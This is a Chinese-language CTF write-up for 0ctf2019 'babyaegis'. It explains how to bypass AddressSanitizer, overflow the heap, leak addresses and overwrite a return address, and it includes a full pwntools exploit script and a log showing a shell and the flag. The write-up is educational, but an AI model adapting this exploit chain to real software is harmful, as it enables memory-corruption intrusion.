0ctf2019 pwn babyaegis writeup

做这道题之前需要对 AddressSanitizer 有所了解。

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/babyaegis

安全防护

ex@Ex:~/test$ checksec aegis
[*] '/home/ex/test/aegis'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
    ASAN:     Enabled
    UBSAN:    Enabled

溢出点

后门 secret

void __cdecl secret()
{
  char *v0; // rax
  char *v1; // [rsp+0h] [rbp-10h]

  if ( secret_enable )
  {
    printf("Lucky Number: ");
    v1 = (char *)read_ul();
    if ( (unsigned __int64)v1 >> 44 )
      v0 = (char *)((unsigned __int64)v1 | 0x700000000000LL);
    else
      v0 = v1;
    *v0 = 0;
    secret_enable = 0;
  }
  else
  {
    puts("No secret!");
  }
}

有一次对大于0x700000000000的任意地址填充NULLbyte的机会。

heap overflow

每次执行update_note函数后,可以控制的内存长度会加1。

size = strlen(*(_QWORD *)v9) + 1;
v10 = read_until_nl_or_max(v2, size);

UAF

delete_note中函数free掉chunk后,没有置NULL。

思路

  1. 绕过 AddressSanitizer
  2. heap overflow
  3. 泄露地址
  4. 改ret地址拿shell

绕过 AddressSanitizer

heap overflow时,会把ID写入到0x602000000020地址,在写入之前AddressSanitizer会检查0x602000000020是否有可写权限,显然是没有的。

pwndbg> pr 0
$1 = (note_struct *) 0x602000000030
$2 = {
  malloc_ptr = 0x602000000010 "aaaaaaa\377\377\377\377\377\377\377\377\276\002", 
  cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000000: 0x02ffffff00000002  0x4e80000120000010
0x602000000010: 0xff61616161616161  0xbeffffffffffffff
0x602000000020: 0x02ffffff00000002  0x1500000120000010
0x602000000030: 0x0000602000000010  0x0000557dc3c46ab0
pwndbg> sa 0x602000000020
$3 = 0xc047fff8004 "\372", <incomplete sequence \372>
0xc047fff8004:  0xfa    0xfa    0x00    0x00    0xfa    0xfa    0xfa    0xfa

这时我们需要用后门函数将(0x602000000020 >> 3) + 0x7FFF8000也就是0xc047fff8004这里置0,来绕过AddressSanitizer检测。

add_note(0x10, 'a' * 8, 0xffffffffffffffff)
sh.recvuntil('Choice: ')
sh.sendline('666')
# Set 0x602000000020 to be able to read and write
sh.sendlineafter('Lucky Number: ', str((0x602000000020 >> 3) + 0x7FFF8000))

heap overflow

可以heap overflow之后,将chunkuser_requested_size改为大于256M的数值,之后malloc的将还是这块chunk

让我们看看没有修改之前的ChunkHeader

pwndbg> ch 0x602000000020
$4 = {
  chunk_state = 0x2, 
  alloc_tid = 0x0, 
  free_tid = 0xffffff, 
  from_memalign = 0x0, 
  alloc_type = 0x1, 
  rz_log = 0x0, 
  lsan_tag = 0x0, 
  user_requested_size = 0x10, 
  user_requested_alignment_log = 0x1, 
  alloc_context_id = 0x15000001
}

由于alloc_context_id的值是不固定的,所以这里要用到部分覆盖技术,必须保证该值不变,否则会crash。

update_note(0, 'b' * 0x12, u64('ccc\0\0\0\0\0'))
update_note(0, 'd' * 0x10 + p32(0x00000002) + 'e', (0x20000010 + 0x10000000) * 0x100000000 + 0x02ffffff) # 0x10000000 -> 256M

修改完后调试查看:

pwndbg> pr 0
$5 = (note_struct *) 0x602000000030
$6 = {
  malloc_ptr = 0x602000000010 'd' <repeats 16 times>, "\002", 
  cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000000: 0x02ffffff00000002  0x4e80000120000010
0x602000000010: 0x6464646464646464  0x6464646464646464
0x602000000020: 0x02ffffff00000002  0x1500000130000010
0x602000000030: 0x0000602000000010  0x0000557dc3c46ab0
pwndbg> ch 0x602000000020
$7 = {
  chunk_state = 0x2, 
  alloc_tid = 0x0, 
  free_tid = 0xffffff, 
  from_memalign = 0x0, 
  alloc_type = 0x1, 
  rz_log = 0x0, 
  lsan_tag = 0x0, 
  user_requested_size = 0x10000010, 
  user_requested_alignment_log = 0x1, 
  alloc_context_id = 0x15000001
}

之后删除该chunk,在malloc一遍就chunk overlaping了。

delete_note(0)
add_note(0x10, p64(0x602000000018), 0) # index 1

结果如下,可以看到index_1malloc_ptr控制着0x0000602000000018,而0x0000602000000018刚好就是index_0malloc_ptr,也就相当于可以任意地址读写:

pwndbg> pa
$8 = (note_struct *) 0x602000000030
$9 = {
  malloc_ptr = 0x602000000018 "\260j\304\303}U", 
  cfi_check = 0xbe00000000000000
}
0x602000000008: 0x1500000120000010  0x0000602000000030
0x602000000018: 0x0000557dc3c46ab0  0x02ffffff00000002
0x602000000028: 0x4e80000120000010  0x0000602000000018
0x602000000038: 0xbe00000000000000  0x0000000000000000
$10 = (note_struct *) 0x602000000010
$11 = {
  malloc_ptr = 0x602000000030 "\030", 
  cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000020: 0x02ffffff00000002  0x4e80000120000010
0x602000000030: 0x0000602000000018  0xbe00000000000000
0x602000000040: 0x0000000000000000  0x0000000000000000
0x602000000050: 0x0000000000000000  0x0000000000000000
$12 = (note_struct *) 0x0
Cannot access memory at address 0x0

泄露地址

这里我们要泄露基地址、libc地址、栈地址。

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
image_addr = u64(result.ljust(8, '\0')) - elf.symbols['cfi_check']
log.success("image_addr: " + hex(image_addr))

puts_got_addr = image_addr + elf.got['puts']
temp = p64(puts_got_addr)
update_note(1, temp[:1] + 'f' , u64(temp[1:] + 'g'))

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
# pause()
update_note(1, p64(libc_addr + libc.symbols['environ']) , 0)
# pause()
show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success("stack_addr: " + hex(stack_addr))

改ret地址拿shell

这里改main函数的地址的话会被UndefinedBehaviorSanitizer检测出来,所以这里改的是read_until_nl_or_max函数的返回地址。

read_until_nl_or_max_ret_addr = stack_addr - 0x150
log.success("read_until_nl_or_max_ret_addr: " + hex(read_until_nl_or_max_ret_addr))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

update_note(1, p64(read_until_nl_or_max_ret_addr) , 0)
one_gadget_addr = libc_addr + 0x4f322
log.success("one_gadget_addr: " + hex(one_gadget_addr))

# update_note(0, p64(libc_addr + libc.symbols['gets']) , 0)
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(0))
sh.sendafter('New Content: ', p64(libc_addr + libc.symbols['gets']))
# pause()

# 0x000000000001c843 : pop rdi ; ret
pop_rdi_ret = 0x000000000001c843
sh.sendline('i' + 
            p64(one_gadget_addr) + 
            p64(image_addr + pop_rdi_ret) + 
            p64(0) + 
            p64(libc_addr + libc.symbols['exit']) + 
            '\0' * 0x30
        )

sh.interactive()

由于没有一个onegadget满足约束条件,但是恰好在read_until_nl_or_max返回时,其rdi的值指向栈的read_until_nl_or_max_ret_addr旁边,所以这里用gets函数来创造约束条件。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    typedef struct note_struct{
        char *malloc_ptr;
        void *cfi_check; 
    }note_struct;

    note_struct no_use;

    typedef unsigned int u32;
    struct ChunkHeader {
    // 1-st 8 bytes.
    u32 chunk_state       : 8;  // Must be first.
    u32 alloc_tid         : 24;

    u32 free_tid          : 24;
    u32 from_memalign     : 1;
    u32 alloc_type        : 2;
    u32 rz_log            : 3;
    u32 lsan_tag          : 2;
    // 2-nd 8 bytes
    // This field is used for small sizes. For large sizes it is equal to
    // SizeClassMap::kMaxSize and the actual size is stored in the
    // SecondaryAllocator's metadata.
    u32 user_requested_size : 29;
    // align < 8 -> 0
    // else      -> log2(min(align, 512)) - 2
    u32 user_requested_alignment_log : 3;
    u32 alloc_context_id;
    };

    struct ChunkHeader no_use2;
    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

# context.log_level = 'debug'
execve_file = './aegis'
sh = process(execve_file, env={"LD_PRELOAD":"/tmp/gdb_symbols.so"})
# sh = process(execve_file)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = "amd64"

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $glo=(note_struct **)&notes

    define pr
        p $glo[$arg0]
        p *$glo[$arg0]
        x/8gx $glo[$arg0]->malloc_ptr-16
        end

    define all
        p *$glo@32
        end

    define pa
        pr 0
        pr 1
        pr 2
        pr 3
        end

    define sa
        p (char *)((($arg0) >> 3) + 0x7FFF8000)
        x/8bx ((($arg0) >> 3) + 0x7FFF8000)
        end

    define ch
        p/x *(struct ChunkHeader *)($arg0)
        end

    # b *$rebase(0x113D60)
    # b *$rebase(0x1145F0)
    set $c=(struct ChunkHeader *)0x602000000020
    # c
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def add_note(size, content, id):
    sh.recvuntil('Choice: ')
    sh.sendline('1')
    sh.sendlineafter('Size: ', str(size))
    sh.sendafter('Content: ', content)
    sh.sendlineafter('ID: ', str(id))

def update_note(index, content, id):
    sh.recvuntil('Choice: ')
    sh.sendline('3')
    sh.sendlineafter('Index: ', str(index))
    sh.sendafter('New Content: ', content)
    sh.sendlineafter('New ID: ', str(id))

def delete_note(index):
    sh.recvuntil('Choice: ')
    sh.sendline('4')
    sh.sendlineafter('Index: ', str(index))

def show_note(index):
    sh.recvuntil('Choice: ')
    sh.sendline('2')
    sh.sendlineafter('Index: ', str(index))

add_note(0x10, 'a' * 8, 0xffffffffffffffff)
sh.recvuntil('Choice: ')
sh.sendline('666')
# Set 0x602000000020 to be able to read and write
sh.sendlineafter('Lucky Number: ', str((0x602000000020 >> 3) + 0x7FFF8000))
# pause()

update_note(0, 'b' * 0x12, u64('ccc\0\0\0\0\0'))
update_note(0, 'd' * 0x10 + p32(0x00000002) + 'e', (0x20000010 + 0x10000000) * 0x100000000 + 0x02ffffff) # 0x10000000 -> 256M

delete_note(0)
add_note(0x10, p64(0x602000000018), 0) # index 1

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
image_addr = u64(result.ljust(8, '\0')) - elf.symbols['cfi_check']
log.success("image_addr: " + hex(image_addr))

puts_got_addr = image_addr + elf.got['puts']
temp = p64(puts_got_addr)
update_note(1, temp[:1] + 'f' , u64(temp[1:] + 'g'))

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
# pause()
update_note(1, p64(libc_addr + libc.symbols['environ']) , 0)
# pause()
show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success("stack_addr: " + hex(stack_addr))
read_until_nl_or_max_ret_addr = stack_addr - 0x150
log.success("read_until_nl_or_max_ret_addr: " + hex(read_until_nl_or_max_ret_addr))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

update_note(1, p64(read_until_nl_or_max_ret_addr) , 0)
one_gadget_addr = libc_addr + 0x4f322
log.success("one_gadget_addr: " + hex(one_gadget_addr))

# update_note(0, p64(libc_addr + libc.symbols['gets']) , 0)
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(0))
sh.sendafter('New Content: ', p64(libc_addr + libc.symbols['gets']))
# pause()

# 0x000000000001c843 : pop rdi ; ret
pop_rdi_ret = 0x000000000001c843
sh.sendline('i' + 
            p64(one_gadget_addr) + 
            p64(image_addr + pop_rdi_ret) + 
            p64(0) + 
            p64(libc_addr + libc.symbols['exit']) + 
            '\0' * 0x30
        )

sh.interactive()

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to eonew.cn on port 60107: Done
[*] '/home/ex/test/aegis'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
    ASAN:     Enabled
    UBSAN:    Enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[+] image_addr: 0x5584a0ca6000
[+] libc_addr: 0x7ff632fbc000
[+] stack_addr: 0x7ffd9c3c17f8
[+] read_until_nl_or_max_ret_addr: 0x7ffd9c3c16a8
[+] one_gadget_addr: 0x7ff63300b322
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls
aegis
flag
$ cat flag
d9b9d839a689ca83032db45722d75c84a3da163f
$  

总结

绕过 AddressSanitizer 是本题的重点。而且有AddressSanitizer保护的程序,其反汇编出来的代码由于有很多内存检查掺杂在程序流中,会使得程序变得很难看,这时需要我们抓住核心代码。

思路借鉴自:https://ray-cp.github.io/archivers/0CTF_2019_PWN_WRITEUP#aegis